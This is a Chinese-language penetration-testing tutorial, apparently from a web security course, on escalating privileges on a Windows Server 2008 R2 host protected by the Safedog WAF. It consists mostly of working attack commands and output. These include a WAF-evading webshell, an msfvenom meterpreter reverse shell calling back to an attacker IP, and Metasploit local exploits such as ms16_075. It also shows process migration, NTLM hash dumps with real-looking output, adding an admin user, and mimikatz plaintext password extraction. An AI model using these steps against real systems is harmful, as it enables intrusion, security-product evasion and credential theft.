安全模式提权_WEB安全第八章实战篇01 提权安全狗服务器

这篇文章放在内部已经有一万年了。

1、简介

服务器 (vps)上安装了iis安全狗服务器安全狗通常这种服务器都是比较难提权不仅是漏洞补丁修复得差不多，waf 对于常规的提权方法也是拦截得较多。

aspx大马被查杀拦截不能访问所以要用内部过waf的暗月过狗刀基本过一切waf

中国菜刀一句话客户端菜刀发送的包里面包含eval特征会被waf拦截，服务端一句话一般都会拦截。除了做了一些变异。

现在的测试环境

环境是 Microsoft Windows Web Server 2008 R2

WEB环境 php asp aspx

数据库mysql

iis安全狗服务器安全狗都是安装默认的设置。

大马的拦截

2、提权过程

使用过狗刀过iis安全狗

http://www.moondemo.com/c32as.aspx c32as

执行简单的命令

使用CVE-2014-4113-Exploit 提权失败

提权失败没有提权system权限使用metasploit提权生成攻击载核

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134  lport=12345 -f exe >/var/www/html/s.exe

监听

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost192.168.0.134set lport 12345exploit

查看当前的用户 iis

使用检测提权的模块

use post/multi/recon/local_exploit_suggesterset session 1exploit

使用ms16_075提权use exploit/windows/local/ms16_075_reflection_juicyset session 1查看当前权限getuid

安全狗的一些进程
C:\Program Files(x86)\SafeDog\SafeDogSiteIIS\SafeDogSiteIIS.exe
C:\Program Files(x86)\SafeDog\SafeDogServer\SafeDogTray.exe
migrate 1596 迁移进程注入到其他进程里面
获取获取hash
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
moon:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
moon123:1005:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:5119ef7093e8490f9564144bc3160a29:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:db1b07ef2d6b61fed7fa7e44f44caba1:::
zero:1004:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

假如不能获取hash 就用

getsystem 获取系统权限

run post/windows/gather/smart_hashdump

aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d432ed87bdb5fdc5e9cba88547376818d4拿到cmd5上是解密

run getgui -u zero-p 123456
增加超级管理用户到服务器上这种模式服务器安全狗会拦截

获取明文加载mimikatz模块
load mimikatz
获取铭文hash
msv
获取明文密码
Kerberos

假如上面获取不到明文
另外一种方法获取hash
mimikatz_command -f samdump::hashes

mimikatz_command-f sekurlsa::searchPasswords

用wdigest命令获取明文wdigesttspkg

登录远程终端